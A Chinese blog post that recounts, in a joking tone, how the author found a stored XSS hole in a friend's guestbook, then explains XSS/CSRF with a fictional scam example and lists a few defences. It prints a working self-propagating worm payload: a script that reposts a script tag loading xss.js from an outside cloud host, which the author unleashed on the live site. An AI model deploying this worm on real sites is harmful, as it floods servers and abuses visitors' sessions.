又是一个神清气爽的假日上午, 慵懒地睡到12点自然醒的感觉真是舒服. 正准备起床刷个牙, 慢悠悠的去学校外面吃点好的~ 这个时候, QQ上收到了小王同学的求助消息:
大婶, 帮个忙, ajax没法用了也0.0 (省略balabala代码一坨)
(爷还没起床呢, 哪凉快哪呆着去- -) 我先刷个牙, ~等会嘛
好嘞
赖了会床, 洗漱完毕又顺带跟对门寝室搞了会ji之后, 于电脑前, 坐毕, 开始看小王童鞋发来的东西.
(我去, 这神马玩意儿, jQ 跟原生 js 各种搞基… 阅毕, 无法忍… )
(遂让小王同学给个网址过来慢慢品翔..)
hey, 大婶, 你要的地址
(啪, 一个公网地址飞了过来)
(输完回车的瞬间, 哔, 一个 Alert 吓了我一尿, 噢噢它告诉我我叫403号访客
, 好吧..叫神马不要紧, 我从容地点了确定, 紧接着一个巨丑无比的网页出现了, 还是教务在线的味道, 还是上个世纪的配方!)
我定睛一看! 咦, 这里有一个错位的留言板也
hiahia. 那我就来帮你测测能不能留言呗
刷新之后
还真能留言! 熟悉的框框出现了(貌似泄露IP了0.0)
我们审查一下ajax部分的代码.
点击发送之后我们就来到了这个函数.
瞬间我就邪恶了→_→ 今天就来好好的调戏一下小王童鞋呗.
于是我啪啪啪在记事本里面敲下
1 2 3 4 window .onload = function ( ) { document .getElementById('message_input' ).value = "<script src='http://redrock.u.qiniudn.com/xss.js'></script>http://www.zeroling.com/喵″" ; sendMessage(); }
并把这个文件命名为 xss.js 上传到云存储去.
万事具备只欠东风了喵.
引发这个XSS蠕虫就差一步:
在小王童鞋的留言板中输入 <script src='http://redrock.u.qiniudn.com/xss.js'></script>
然后跑到群里吼了一句
于是乎, 蠕虫出动了!
小王童鞋的站站立马就被玩坏了.
大家的浏览器争相向小王的服务器发送”留言”, 不久就看到了小王在群里抱怨电脑死机的事情0.0 (我没想到会死机的呀.)
##跨站脚本攻击 简单的说, 攻击者以你的浏览器发送恶意请求, 这些请求可以是恶意的, 比如发送文章, 邮件, 删除文章, 甚至购买商品, 盗取账号等等.
貌似这种攻击方式并少见, 但是危害不容小觑. 尤其是在当今 SNS2.0 时代, 大量用户盘踞的社交圈一旦爆出这种漏洞, 蠕虫就可以在短时间内疯狂蔓延, 使得整个社区充斥垃圾甚至诈骗信息.
####通俗一点的例子: 假设我有一个微博网站, 它有一个发私信的接口: http://myweibo.com/api/message?msg=balabala&to=bala
, 这里的参数msg
表示要发送的内容, to
是要发送的对象.
正常情况下, 你登陆这个微博之后会得到一个Cookie, 而在进行发私信请求的时候, 这个Cookie会顺便被带上交给服务器, 服务器则通过这个Cookie来认证你, 如果正确就发送私信给别人.
OK, 一天一个黑客菊苣发现了这个微博网站的 XSS 漏洞, 他正好缺钱….
然后他就开始想歪主意, 他发了一篇有关波姐的微博(各种福利啊0.0), 然后在其中包含了漏洞利用的 payload.
于是小王同学(还是小李把)小李同学看到了这个微博, 漏洞被触发了, 黑客菊苣写的代码会让小李的浏览器以小李的名义(Cookie)转发这条微博并发送私信给小李的所有好友, 内容大概是
1 好哥们, 我最近遇到点balabala, ........, 打到我支付宝号上* * * * * * * 叭, 下礼拜一定还!
然后结果大概是, 黑客菊苣坐在黑暗的角落里面望着显示器露出邪恶的笑容→_→…
####如何避免
在表单里增加Hash值
验证码(貌似跟上面原理一致)
避免漏洞
各种高端的我也不懂啊T.T
想一想,当我们用鼠标在 Blog/BBS/WebMail 点击别人留下的链接的时候, 说不定一场精心准备的 XSS 攻击正等着我们.